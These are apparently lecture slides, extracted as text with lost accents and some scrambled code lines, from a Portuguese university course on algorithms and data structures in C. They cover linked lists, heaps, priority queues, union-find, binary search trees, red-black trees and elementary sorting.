IAED 2007/2008 p.364/569

Insertion sort Verso 3


typedef int Item;
typedef struct node *link;
struct node { Item item; link next; };
static struct node *heada, *headb;
void init()
{
int i;
link t, u, a;
heada = (link) malloc(sizeof(*heada));
headb = (link) malloc(sizeof(*headb));
a = heada;
for (i = 0, t = a; i < N; i++) {
t->next = malloc(sizeof *t);
t = t->next; t->next = NULL;
t->item = rand() % M;
}
}

IAED 2007/2008 p.365/569

Insertion sort Verso 3


void isort()
/* Utiliza lista com sentinela */
{
link t, u, x, b;
b = headb; b->next = NULL;
for (t = heada->next; t != NULL; t = u) {
u = t->next;
for (x = b; x->next != NULL; x = x->next)
if (x->next->item > t->item) break;
t->next = x->next; x->next = t;
}
heada->next = headb->next;
headb->next = NULL;
}

IAED 2007/2008 p.366/569

Lista Duplamente Ligada


struct iitem {
int value;
struct iitem *next;
struct iitem *prev;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr first = NULL;
static IntItemPtr last = NULL;
static IntItemPtr alloc_item()
{
return (IntItemPtr) malloc(sizeof(IntItem));
}

IAED 2007/2008 p.367/569

Lista Duplamente Ligada


void init()
{
first = alloc_item();
last = alloc_item();
first->next = last;
first->prev = NULL;
last->next = NULL;
last->prev = first;
}

IAED 2007/2008 p.368/569

Lista Duplamente Ligada


int insert(int value)
{
IntItemPtr px, nitem;
for (px = first->next; px != last && px->value < value; px = px->next)
;
if (px != last && px->value == value)
return 0; /* no duplicates */
nitem = alloc_item();
nitem->value = value;
px->prev->next = nitem;
nitem->prev = px->prev;
nitem->next = px;
px->prev = nitem;
return 1;
}

IAED 2007/2008 p.369/569

Lista Duplamente Ligada


int delete(int value)
{
IntItemPtr px;
for (px = first->next; px != last && px->value < value; px = px->next)
;
if (px && px->value == value) {
px->prev->next = px->next;
px->next->prev = px->prev;
free(px);
return 1;
}
return 0;
}

IAED 2007/2008 p.370/569

Lista Duplamente Ligada


void delete_list()
{
IntItemPtr px;
while (px = first) {
first = first->next;
free(px);
}
first = last = NULL;
}
void print_list()
{
IntItemPtr px;
printf("[ ");
for (px = first->next; px != last; px = px->next)
printf("%d ", px->value);
printf("]\n");
}

IAED 2007/2008 p.371/569

Interface para processamento de listas


#include <stdlib.h>
#include "list.h"
link freelist;
void initNodes(int N)
{ int i;
freelist = malloc((N+1)*(sizeof *freelist));
for (i = 0; i < N+1; i++)
freelist[i].next = &freelist[i+1];
freelist[N].next = NULL;
}
link newNode(int i)
{ link x = deleteNext(freelist);
x->item = i; x->next = x;
return x;
}

IAED 2007/2008 p.372/569

Interface para processamento de listas


void freeNode(link x)
{ insertNext(freelist, x); }
void insertNext(link x, link t)
{ t->next = x->next; x->next = t; }
link deleteNext(link x)
{ link t = x->next; x->next = t->next; return t; }
link Next(link x)
{ return x->next; }
int Item(link x)
{ return x->item; }

IAED 2007/2008 p.373/569

Amontoados
Uma rvore est heap-ordered se a chave de cada n
for maior ou igual s chaves dos seus filhos
X

Nenhum n tem uma chave superior raz


Uma rvore binria completa se apenas o ltimo nvel
estiver incompleto, e faltarem apenas os ns mais
direita.

IAED 2007/2008 p.374/569

Amontoados
X

1 2 3 4 5 6 7 8 9 10 11 12
X T O G S M N A E R A I

Parente do n i o n i/2

Filhos do n i so os ns 2i e 2i + 1
IAED 2007/2008 p.375/569

Operaes em amontoados: fixUp


Chamada quando a prioridade de um n aumentada
N tem de ser deslocado para cima
fixUp(Item a[], int k)
{
while (k > 1 && less(a[k/2], a[k]))
{ exch(a[k], a[k/2]); k = k/2; }
}

IAED 2007/2008 p.376/569

Operaes em amontoados: fixDown


Chamada quando a prioridade de um n diminuda
N tem de ser deslocado para baixo, at ao ltimo nvel
ou at que a prioridade do n alterado seja maior que
ambos os filhos
fixDown(Item a[], int k, int N)
{ int j;
while (2*k <= N)
{ j = 2*k;
if (j < N && less(a[j], a[j+1])) j++;
if (!less(a[k], a[j])) break;
exch(a[k], a[j]); k = j;
}
}
IAED 2007/2008 p.377/569

Fila de prioridades
#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
{ pq = malloc((maxN+1)*sizeof(Item)); N = 0; }
int PQempty()
{ return N == 0; }
void PQinsert(Item v)
{ pq[++N] = v; fixUp(pq, N); }
Item PQdelmax()
{
exch(pq[1], pq[N]);
fixDown(pq, 1, N-1);
return pq[N--];
}

IAED 2007/2008 p.378/569

Ordenao com fila de prioridades


void PQsort(Item a[], int l, int r)
{ int k;
PQinit();
for (k = l; k <= r; k++) PQinsert(a[k]);
for (k = r; k >= l; k--) a[k] = PQdelmax();
}

IAED 2007/2008 p.379/569

Fila de prioridades com tabela


#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
{ pq = malloc(maxN*sizeof(Item)); N = 0; }
int PQempty()
{ return N == 0; }
void PQinsert(Item v)
{ pq[N++] = v; }
Item PQdelmax()
{ int j, max = 0;
for (j = 1; j < N; j++)
if (less(pq[max], pq[j])) max = j;
exch(pq[max], pq[N-1]);
return pq[--N];
}

IAED 2007/2008 p.380/569

Heapsort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
{ int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
{ exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N); }
}

IAED 2007/2008 p.381/569

IAED 2007/2008 p.382/569

IAED 2007/2008 p.383/569

IAED 2007/2008 p.384/569

Parte X
Sedgewick, Cap. 4

IAED 2007/2008 p.385/569

Tipos Abstractos
Necessidade de tipos de dados abstractos

IAED 2007/2008 p.386/569

Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos

IAED 2007/2008 p.386/569

Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas

IAED 2007/2008 p.386/569

Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes

IAED 2007/2008 p.386/569

Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas

IAED 2007/2008 p.386/569

Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find

IAED 2007/2008 p.386/569

Tipos Abstractos de Dados (ADT)


Mesmas estruturas (Pilhas, FIFOs, Listas) so usadas
com muitos tipos de dados
Exemplo:
Pilhas para inteiros
Tabela de disperso para reais
Amontoados de estruturas
Mesmo cdigo pode (e deve) ser utilizado

IAED 2007/2008 p.387/569

Exemplo de abstraco
Comparao
Para inteiros, operao x1 == x2
Para strings, operao !strcmp(x1,x2)
Soluo:
Para inteiros:
typedef int Item;
#define eq(A,B) (A == B)
Para strings:
typedef char* Item;
#define eq(A,B) (!strcmp(A,B))

IAED 2007/2008 p.388/569

ADT e coleces de objectos


ADTs so teis para manipular coleces de objectos
Operaes tpicas:
Comparaes entre objectos
Operaes de entrada e sada (leitura e escrita)
Insero em coleces
Apagamento de coleces
Alterao de propriedades (e.g., prioridade)
ADTs deste tipo so denominados filas generalizadas

IAED 2007/2008 p.389/569

ADT Stack
Definio da interface
void STACKinit(int);
int STACKempty();
void STACKpush(Item);
Item STACKpop();

IAED 2007/2008 p.390/569

Exemplo: Calculadora RPN


#include <stdio.h>
#include <string.h>
#include "Item.h" /* Item foi definido como int */
#include "STACK.h"
main(int argc, char *argv[])
{ char *a = argv[1]; int i, N = strlen(a);
STACKinit(N);
for (i = 0; i < N; i++)
{
if (a[i] == +)
STACKpush(STACKpop()+STACKpop());
if (a[i] == *)
STACKpush(STACKpop()*STACKpop());
if ((a[i] >= 0) && (a[i] <= 9))
STACKpush(0);
while ((a[i] >= 0) && (a[i] <= 9))
STACKpush(10*STACKpop() + (a[i++]-0));
}
printf("%d \n", STACKpop());
}
IAED 2007/2008 p.391/569

Exemplo: Converso de Infix to Postfix


#include <stdio.h>
#include <string.h>
#include "Item.h" /* Item foi definido como char */
#include "STACK.h"
main(int argc, char *argv[])
{ char *a = argv[1]; int i, N = strlen(a);
STACKinit(N);
for (i = 0; i < N; i++)
{
if (a[i] == ))
printf("%c ", STACKpop());
if ((a[i] == +) || (a[i] == *))
STACKpush(a[i]);
if ((a[i] >= 0) && (a[i] <= 9))
printf("%c ", a[i]);
}
printf("\n");
}

IAED 2007/2008 p.392/569

Implementao do stack com tabela


#include <stdlib.h>
#include "Item.h"
#include "STACK.h"
static Item *s;
static int N;
void STACKinit(int maxN)
{ s = malloc(maxN*sizeof(Item)); N = 0; }
int STACKempty()
{ return N == 0; }
void STACKpush(Item item)
{ s[N++] = item; }
Item STACKpop()
{ return s[--N]; }

IAED 2007/2008 p.393/569

Implementao do stack com lista


#include <stdlib.h>
#include "Item.h"
typedef struct STACKnode* link;
struct STACKnode { Item item; link next; };
static link head;
link NEW(Item item, link next)
{ link x = malloc(sizeof *x);
x->item = item; x->next = next; return x;
}
void STACKinit(int maxN)
{ head = NULL; }
int STACKempty()
{ return head == NULL; }
STACKpush(Item item)
{ head = NEW(item, head); }
Item STACKpop()
{ Item item = head->item;
link t = head->next;
free(head); head = t;
return item;
}

IAED 2007/2008 p.394/569

Projecto de ADTs
Trs problemas separados:
Definio da interface
Implementao do ADT
Projecto e implementao do cliente
Exemplo: Union-Find ADT

IAED 2007/2008 p.395/569

Interface do Union-Find
void UFinit(int);
int UFfind(int, int);
int UFunion(int, int);

IAED 2007/2008 p.396/569

Cliente do Union-Find: Conectividade


L pares de ns (ramos) de um grafo
Imprime apenas os pares que ainda no esto ligados
#include <stdio.h>
#include "UF.h"
main(int argc, char *argv[])
{ int p, q, N = atoi(argv[1]);
UFinit(N);
while (scanf("%d %d", &p, &q) == 2)
if (!UFfind(p, q))
{ UFunion(p, q);
printf(" %d %d\n", p, q); }
}

IAED 2007/2008 p.397/569

Implementao do Union-Find
#include <stdlib.h>
#include "UF.h"
static int *id, *sz;
void UFinit(int N)
{ int i;
id = malloc(N*sizeof(int));
sz = malloc(N*sizeof(int));
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
}
static int find(int x)
{ int i = x;
while (i != id[i]) i = id[i]; return i; }
int UFfind(int p, int q)
{ return (find(p) == find(q)); }

IAED 2007/2008 p.398/569

Implementao do Union-Find
int UFunion(int p, int q)
{ int i = find(p), j = find(q);
if (i == j) return;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
}

IAED 2007/2008 p.399/569

Vantagens do uso de ADTs


Soluo elegante
Separa os problemas:
Alto nvel: conectividade num grafo
Baixo nvel: como manter as estruturas de dados
Permite comparar diferentes implementaes
Permite re-utilizar o cdigo
Alternativa (confusa): juntar tudo

IAED 2007/2008 p.400/569

Conectividade sem ADTs


Complexidade: O(MN), (M operaes, N ns)
#include <stdio.h>
#define N 10000
main()
{ int i, p, q, t, id[N];
for (i = 0; i < N; i++) id[i] = i;
while (scanf("%d %d\n", &p, &q) == 2)
{
if (id[p] == id[q]) continue;
for (t = id[p], i = 0; i < N; i++)
if (id[i] == t) id[i] = id[q];
printf(" %d %d\n", p, q);
}
}

IAED 2007/2008 p.401/569

Conectividade mais rpida


#include <stdio.h>
#define N 10000
main()
{ int i, p, q, t, id[N];
for (i = 0; i < N; i++) id[i] =
while (scanf("%d %d\n", &p, &q)
{
for (i = p; i != id[i]; i =
for (j = q; j != id[j]; j =
if (i == j) continue;
id[i] = j;
printf(" %d %d\n", p, q);
}
}

i;
== 2)
id[i]) ;
id[j]) ;

IAED 2007/2008 p.402/569

Weighted version
Complexidade: O(M log N), (M operaes, N ns)
#include <stdio.h>
#define N 10000
main()
{ int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
while (scanf("%d %d\n", &p, &q) == 2)
{
for (i = p; i != id[i]; i = id[i]) ;
for (j = q; j != id[j]; j = id[j]) ;
if (i == j) continue;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
printf(" %d %d\n", p, q);
}
}
IAED 2007/2008 p.403/569

Path compression
#include <stdio.h>
#define N 10000
main()
{ int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
while (scanf("%d %d\n", &p, &q) == 2)
{
for (i = p; i != id[i]; i = id[i])
{ int t = i; i = id[id[t]]; id[t] = i; }
for (j = q; j != id[j]; j = id[j])
{ int t = j; j = id[id[t]]; id[t] = j; }
if (i == j) continue;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
printf(" %d %d\n", p, q);
}
}
IAED 2007/2008 p.404/569

Interface do FIFO ADT


void QUEUEinit(int);
int QUEUEempty();
void QUEUEput(Item);
Item QUEUEget();

IAED 2007/2008 p.405/569

Realizao do FIFO ADT (listas)


#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
typedef struct QUEUEnode* link;
struct QUEUEnode { Item item; link next; };
static link head, tail;
link NEW(Item item, link next)
{ link x = malloc(sizeof *x);
x->item = item; x->next = next;
return x;
}
void QUEUEinit(int maxN)
{ head = NULL; }
int QUEUEempty()
{ return head == NULL; }

IAED 2007/2008 p.406/569

Realizao do FIFO ADT (listas)


QUEUEput(Item item)
{
if (head == NULL)
{ head = (tail = NEW(item, head)); return; }
tail->next = NEW(item, tail->next);
tail = tail->next;
}
Item QUEUEget()
{ Item item = head->item;
link t = head->next;
free(head); head = t;
return item;
}

IAED 2007/2008 p.407/569

Realizao do FIFO ADT (tabelas)


#include <stdlib.h>
#include "Item.h"
static Item *q;
static int N, head, tail;
void QUEUEinit(int maxN)
{ q = malloc((maxN+1)*sizeof(Item));
N = maxN+1; head = N; tail = 0; }
int QUEUEempty()
{ return head % N == tail; }
void QUEUEput(Item item)
{ q[tail++] = item; tail = tail % N; }
Item QUEUEget()
{ head = head % N; return q[head++]; }

IAED 2007/2008 p.408/569

Interface do ADT Fila de Prioridade


void
int
void
Item

PQinit(int);
PQempty();
PQinsert(Item);
PQdelmax();

IAED 2007/2008 p.409/569

Realizao do ADT fila de prioridade


#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
{ pq = malloc((maxN+1)*sizeof(Item)); N = 0; }
int PQempty()
{ return N == 0; }
void PQinsert(Item v)
{ pq[++N] = v; fixUp(pq, N); }
Item PQdelmax()
{
exch(pq[1], pq[N]);
fixDown(pq, 1, N-1);
return pq[N--];
}

IAED 2007/2008 p.410/569

Realizao do ADT fila de prioridade


static void fixUp(Item a[], int k)
{
while (k > 1 && less(a[k/2], a[k]))
{ exch(a[k], a[k/2]); k = k/2; }
}
static void fixDown(Item a[], int k, int N)
{ int j;
while (2*k <= N)
{ j = 2*k;
if (j < N && less(a[j], a[j+1])) j++;
if (!less(a[k], a[j])) break;
exch(a[k], a[j]); k = j;
}
}

IAED 2007/2008 p.411/569

ADTs de primeira ordem


Mais do que um ADT pode estar presente
Exemplo: mltiplas queues
typedef struct queue *Q;
void QUEUEdump(Q);
Q QUEUEinit(int maxN);
int QUEUEempty(Q);
void QUEUEput(Q, Item);
Item QUEUEget(Q);

IAED 2007/2008 p.412/569

Cliente de ADTs de primeira ordem


#include <stdio.h>
#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
#define M 10
main(int argc, char *argv[])
{ int i, j, N = atoi(argv[1]);
Q queues[M];
for (i = 0; i < M; i++)
queues[i] = QUEUEinit(N);
for (i = 0; i < N; i++)
QUEUEput(queues[rand() % M], j);
for (i = 0; i < M; i++, printf("\n"))
for (j = 0; !QUEUEempty(queues[i]); j++)
printf("%3d ", QUEUEget(queues[i]));
}

IAED 2007/2008 p.413/569

Realizao de ADTs de primeira ordem


#include <stdlib.h>
#include "Item.h"
#include "QUEUE.h"
typedef struct QUEUEnode* link;
struct QUEUEnode { Item item; link next; };
struct queue { link head; link tail; };
link NEW(Item item, link next)
{ link x = malloc(sizeof *x);
x->item = item; x->next = next;
return x;
}
Q QUEUEinit(int maxN)
{ Q q = malloc(sizeof *q);
q->head = NULL; q->tail = NULL;
return q;
}
int QUEUEempty(Q q)
{ return q->head == NULL; }

IAED 2007/2008 p.414/569

Realizao de ADTs de primeira ordem


void QUEUEput(Q q, Item item)
{
if (q->head == NULL)
{ q->tail = NEW(item, q->head)
q->head = q->tail; return; }
q->tail->next = NEW(item, q->tail->next);
q->tail = q->tail->next;
}
Item QUEUEget(Q q)
{ Item item = q->head->item;
link t = q->head->next;
free(q->head); q->head = t;
return item;
}

IAED 2007/2008 p.415/569

Parte XI
Sedgewick, Cap. 5, 12, 13

IAED 2007/2008 p.416/569

rvores Binrias
Estrutura de dados elementar

IAED 2007/2008 p.417/569

rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores

IAED 2007/2008 p.417/569

rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias

IAED 2007/2008 p.417/569

rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias
Manipulao eficiente

IAED 2007/2008 p.417/569

rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias
Manipulao eficiente
Exemplos de clientes

IAED 2007/2008 p.417/569

Travessia de rvores em Pr-Order


Visita a raz antes dos filhos
#include "Item.h"
typedef struct node {
struct node *l;
struct node *r;
Item item;
} *link;
void traverse(link h)
{
if (h == NULL) return;
visit(h);
traverse(h->l);
traverse(h->r);
}

IAED 2007/2008 p.418/569

Travessia de rvores em In-Order


Visita a raz depois do filho esquerdo e antes do direito
Exemplo de aplicao: imprime os ns ordenados
#include "Item.h"
typedef struct node {
struct node *l;
struct node *r;
Item item;
} *link;
void traverse(link h)
{
if (h == NULL) return;
traverse(h->l);
visit(h);
traverse(h->r);
}

IAED 2007/2008 p.419/569

Travessia de rvores em Post-Order


Visita a raz depois dos filhos
Exemplo de aplicao: avaliao de expresses
posfixadas
#include "Item.h"
typedef struct node {
struct node *l;
struct node *r;
Item item;
} *link;
void traverse(link h)
{
if (h == NULL) return;
traverse(h->l);
traverse(h->r);
visit(h);
}
IAED 2007/2008 p.420/569

Verso no Recursiva do Pr-Order


void traverse(link h)
{
STACKinit(max); STACKpush(h);
while (!STACKempty())
{
visit(h = STACKpop());
if (h->r != NULL) STACKpush(h->r);
if (h->l != NULL) STACKpush(h->l);
}
}

IAED 2007/2008 p.421/569

Algumas Operaes em rvores


Count: conta os ns da rvore
Height: conta a profundidade da rvore
int count(link h)
{
if (h == NULL) return 0;
return count(h->l) + count(h->r) + 1;
}
int height(link h)
{ int u, v;
if (h == NULL) return -1;
u = height(h->l); v = height(h->r);
if (u > v) return u+1; else return v+1;
}

IAED 2007/2008 p.422/569

Tabela de Smbolos
Insero de um item
Procura por dada chave
Apagamento de um item
Aplicaes:
Tabelas de smbolos
Dicionrios para traduo de termos

IAED 2007/2008 p.423/569

Tabela de Smbolos - ADT


#include "Item.h"
void STinit(int);
int STcount();
Item STsearch(Key v);
void STinsert(Item item);
Item STselect(int);
void STdelete(Item);
void STsort(void (*visit)());

IAED 2007/2008 p.424/569

Tabela de Smbolos - Exemplo Concretizao


static Item *st;
static int M;
void STinit(int maxN) { int i;
M = maxN; st = malloc((M+1)*sizeof(Item));
for (i = 0; i <= M; i++) st[i] = NULLitem;
}
int STcount() {int i, n = 0;
for (i = 0; i < M; i++) if (st[i] != NULLitem) n++;
return n;
}
Item STsearch(Key v) { return st[v]; }
void STinsert(Item item) { st[key(item)] = item; }
Item STselect(int k) { int i;
for (i = 0; i < M; i++)
if (st[i] != NULLitem && k-- == 0)
return st[i];
}
void STdelete(Item) { st[key(item)] = NULLitem; }
void STsort(void (*visit)()) {...}
IAED 2007/2008 p.425/569

rvores de Procura Binrias (BST)


5

Ns na sub-rvore esquerda tem chaves menores ou


iguais que a raz
Ns na sub-rvore direita tem chaves maiores ou iguais
que a raz

IAED 2007/2008 p.426/569

Pesquisa em rvores
#include <stdlib.h>
#include "Item.h"
typedef struct STnode* link;
struct STnode { Item item; link l, r; int N };
static link head, z;
link NEW(Item item, link l, link r, int N)
{ link x = malloc(sizeof *x);
x->item = item; x->l = l; x->r = r; x->N = N;
return x;
}
void STinit()
{ head = (z = NEW(NULLitem, 0, 0, 0)); }
int STcount() { return head->N; }
Item searchR(link h, Key v)
{ Key t = key(h->item);
if (h == z) return NULLitem;
if eq(v, t) return h->item;
if less(v, t) return searchR(h->l, v);
else return searchR(h->r, v);
}
IAED 2007/2008 p.427/569

Pesquisa em rvores
Item STsearch(Key v)
{ return searchR(head, v); }
link insertR(link h, Item item)
{ Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if less(v, t)
h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
}
void STinsert(Item item)
{ head = insertR(head, item); }

IAED 2007/2008 p.428/569

Operaes de rotao - esquerda


A
E
E

C
R

link rotL( link h) {


link x = h->r;
h->r = x->l;
x->l = h;
x->l->N = x->l->r->N + x->l->l->N + 1;
x->N = x->l->N + x->r->N + 1;
return x;
}

IAED 2007/2008 p.429/569

Operaes de rotao - direita


link rotR( link h) {
link x = h->l;
h->l = x->r;
x->r = h;
x->r->N = x->r->r->N + x->r->l->N + 1;
x->N = x->l->N + x->r->N + 1;
return x;
}

IAED 2007/2008 p.430/569

Insero na raz
Insere novo n numa folha
Usa rotaes para colocar novo n na raz da rvore
link insertT(link h, Item item)
{ Key v = key(item);
if (h == z) return NEW(item, z, z, 1);
if (less(v, key(h->item)))
{ h->l = insertT(h->l, item); h = rotR(h); }
else
{ h->r = insertT(h->r, item); h = rotL(h); }
return h;
}

IAED 2007/2008 p.431/569

Seleco com rvores binrias


Selecciona a ksima chave
Item selectR(link h, int k)
{ int t = h->l->N;
if (h == z) return NULLitem;
if (t > k) return selectR(h->l, k);
if (t < k) return selectR(h->r, k-t-1);
return h->item;
}
Item STselect(int k)
{ return selectR(head, k); }

IAED 2007/2008 p.432/569

Partio de rvores Binrias


Selecciona a ksima chave e coloca-a na raz
link partR(link h, int k)
{ int t = h->l->N;
if (t > k )
{ h->l = partR(h->l, k); h = rotR(h); }
if (t < k )
{ h->r = partR(h->r, k-t-1); h = rotL(h); }
return h;
}

IAED 2007/2008 p.433/569

Remoo de ns em rvores Binrias


link joinLR(link a, link b)
{
if (b == z) return a;
b = partR(b, 0); b->l = a;
return b;
}
link deleteR(link h, Key v)
{ link x; Key t = key(h->item);
if (h == z) return z;
if (less(v, t)) h->l = deleteR(h->l, v);
if (less(t, v)) h->r = deleteR(h->r, v);
if (eq(v, t))
{ x = h; h = joinLR(h->l, h->r); free(x); }
return h;
}
void STdelete(Key v)
{ head = deleteR(head, v); }

IAED 2007/2008 p.434/569

Ordenao em rvores Binrias


void sortR(link h, void (*visit)(Item)) {
if (h == z)
return;
sortR(h->l, visit);
visit(h->item);
sortR(h->r, visit);
}
void STsort(link h, void (*visit)(Item)) {
sortR(head, visit);
}

IAED 2007/2008 p.435/569

Pesquisas em BST
Geralmente eficient: O(log N)
No pior caso, O(n) para uma rvore desequilibrada:
Ordem de insero: 1,2,3,4,5,6,7,8
No caso de chaves aleatrias, O(log N)
Comparao com pesquisa binria em tabelas:
Tempo de pesquisa comparvel
Tempo de insero muito mais rpido
Tempo de pesquisa e insero so O(N) no pior caso
(rvore degenerada)

IAED 2007/2008 p.436/569

rvores Binrias Equilibradas


Evitam o pior caso de O(N)
Algum overhead na construo
Alternativa:
Requilibrar uma rvore, depois de construda
Usar aleatoriedade
Usar tcnicas especiais de construo (Red-Black
trees, etc)

IAED 2007/2008 p.437/569

Balanceamento de uma rvore Binria


Equilibra uma rvore
Usa a operao de partio para colocar a mediana na
raz
link balanceR(link h)
{
if (h->N < 2) return h;
h = partR(h, h->N/2);
h->l = balanceR(h->l);
h->r = balanceR(h->r);
return h;
}

IAED 2007/2008 p.438/569

Uso de aleatoriedade
Se as chaves forem uniformemente distribudas, um
novo n fica na raz com probabilidade 1/(1+N)
Quando se insere um n, coloca-se na raz com
probabilidade 1/(1+N)
link insertR(link h, Item item)
{ Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if (rand()< RAND_MAX/(h->N+1))
return insertT(h, item);
if less(v, t) h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
}
void STinsert(Item item)
{ head = insertR(head, item); }

IAED 2007/2008 p.439/569

rvores Red-Black Propriedades


1. um n ou tem cr vermelha ou preta;
2. a raz tem cr preta;
3. as folhas tm cr preta;
4. os filhos de ns de cr vermelha tm cr preta;
5. todos os caminhos de um n at qualquer folha contm
sempre o mesmo nmero de ns de cr preta;

IAED 2007/2008 p.440/569

rvores Red-Black
RBT com n ns internos tem profundidade O(log(n)).
h(v) = profundidade da rvore com raz em v ;
bh(v) = nmero de ns de cr preta no caminho de v
para qualquer folha (sem contar com v , se tiver cr
preta);
uma rvore com raz em v tem pelo menos 2bh(v) 1
ns internos;
pelo menos metade dos ns em qualquer caminho
da raz at s folhas preto, logo bh(v) h(v)/2;
n2

h(v)
2

1 log(n + 1)

h(v)
2

h(v) 2log(n + 1)

IAED 2007/2008 p.441/569

rvores Red-Black

IAED 2007/2008 p.442/569

rvores Red-Black
Equilibrada por construo: O caminho mais longo da
raz at qualquer folha tem no pior caso comprimento
igual ao dobro do comprimento do caminho mais curto
da raz at qualquer folha. Porqu ?
Procura: igual ao procedimento para BST, mas mais
rpido porque a rvore est equilibrada.
Insero, remoo: mais complexo.

IAED 2007/2008 p.443/569

rvores Red-Black Insero


Inserir um novo n N, como no caso de uma BST, e
pint-lo de cr vermelha.
Aps a insero a RBT pode j no satisfazer as
propriedades. necessrio reparar a rvore,
considerando um conjunto de casos especiais.
1. N
2.

encontra-se na raz. Pintar N de cr preta.

O pai de N tem cr preta. Todas a propriedades so


satisfeitas.

IAED 2007/2008 p.444/569

rvores Red-Black Insero


3.

O pai P e o tio U tm cr vermelha e o av G tem cr


preta. Mudar cores.

IAED 2007/2008 p.445/569

rvores Red-Black Insero


4.

O pai P tem cr vermelha, mas o tio U tem cr preta, e


N o filho do lado esquerdo de P, e P o filho do lado
esquerdo de G. Aplicar rotao direita e mudar cores.

IAED 2007/2008 p.446/569

rvores Red-Black Insero


5.

O pai P tem cr vermelha, mas o tio U tm cr preta, e


N o filho do lado direito de P, e P o filho do lado
esquerdo de G. Aplicar rotao esquerda e aplicar
caso anterior.

IAED 2007/2008 p.447/569

rvores Red-Black Insero


link RBinsert(link h, Item item, int sw)
{ Key v = key(item);
if (h == z) return NEW(item, z, z, 1, 1);
if ((hl->red) && (hr->red))
{ h->red = 1; hl->red = 0; hr->red = 0; }
if (less(v, key(h->item)))
{
hl = RBinsert(hl, item, 0);
if (h->red && hl->red && sw) h = rotR(h);
if (hl->red && hll->red)
{ h = rotR(h); h->red = 0; hr->red = 1; }
}
else
{
hr = RBinsert(hr, item, 1);
if (h->red && hr->red && !sw) h = rotL(h);
if (hr->red && hrr->red)
{ h = rotL(h); h->red = 0; hl->red = 1; }
}
fixN(h); return h;
}

IAED 2007/2008 p.448/569

rvores Red-Black Remoo


Trocar o maior elemento da sub-rvore do lado
esquerdo com o elemento a apagar (raz).
Apagar o elemento copiado, uma vez que tem no
mximo 1 filho.
Casos simples:
N tem cr vermelha. Substituir pelo filho, que tem
que tr cr preta.
N tem cr preta e o seu filho vermelha. Pintar o
filho de cr vermelha.
Casos complexos:
Tanto o n como o filho tm cr preta.
Existem 6 casos diferentes.
IAED 2007/2008 p.449/569

rvores Red-Black Remoo

IAED 2007/2008 p.450/569

Parte XII
Sedgewick, Cap. 6

IAED 2007/2008 p.451/569

Algoritmos Elementares de Ordenao


Selection Sort
Insertion Sort
Bubble Sort
Shell Sort
Counting Sort

IAED 2007/2008 p.452/569

Porqu Estudar Algoritmos Elementares?


Razes de ordem prtica
Fceis de codificar e por vezes suficiente
Rpidos/Eficientes para problemas de dimenso
media e por vezes os melhores em certas situaes
Razes pedaggicas
Bom exemplo para aprender terminologia e contexto
dos problemas de codificar e por vezes suficiente
Alguns so fceis de generalizar para algoritmos
mais eficientes ou para melhorar o desempenho de
outros algoritmos

IAED 2007/2008 p.453/569

Nomenclatura [1]
Parmetro de interesse - tempo de execuo
regra - O(N2 ) para ordenar N items
mas se N pequeno podem ser os melhores
Mas desempenho em memria tambm interessa
ordenao in-place
utilizando memria adicional

IAED 2007/2008 p.454/569

Nomenclatura [2]
:
Definicao

um algoritmo de ordenao dito estvel se


preserva a ordem relativa dos items com chaves
repetidas
ex: ordenar lista de alunos (j previamente ordenada
por nome) por ano de graduao
algoritmos elementares so normalmente estveis,
mas poucos algoritmos avanados o so

IAED 2007/2008 p.455/569

Nomenclatura [3]
:
Definicao

um algoritmo de ordenao dito interno se o


conjunto de todos os dados a ordenar couber em
memoria RAM; caso contrrio dito externo

Distino muito importante:


ordenao interna pode aceder a qualquer dado
com um custo muito pequeno
ordenao externa tem de aceder aos dados de
forma sequencial (ou em blocos)
Estudo apenas de ordenao interna

IAED 2007/2008 p.456/569

Algoritmos de Sort Definies


Itens ordenados por chave
Caractersticas especficas de cada item ou chave
No entanto cada algoritmo tem comportamento igual usar abstraes
#define
#define
#define
#define

key(A) (A)
less(A, B) (key(A) < key(B))
exch(A, B) { Item t = A; A = B; B = t; }
compexch(A, B) if (less(B, A)) exch(A, B)

IAED 2007/2008 p.457/569

Algoritmos de Sort Utilizao


void sort(Item a[], int l, int r)
{ int i, j;
for (i = l+1; i <= r; i++)
for (j = i; j > l; j--)
compexch(a[j-1], a[j]);
}
main(int argc, char *argv[])
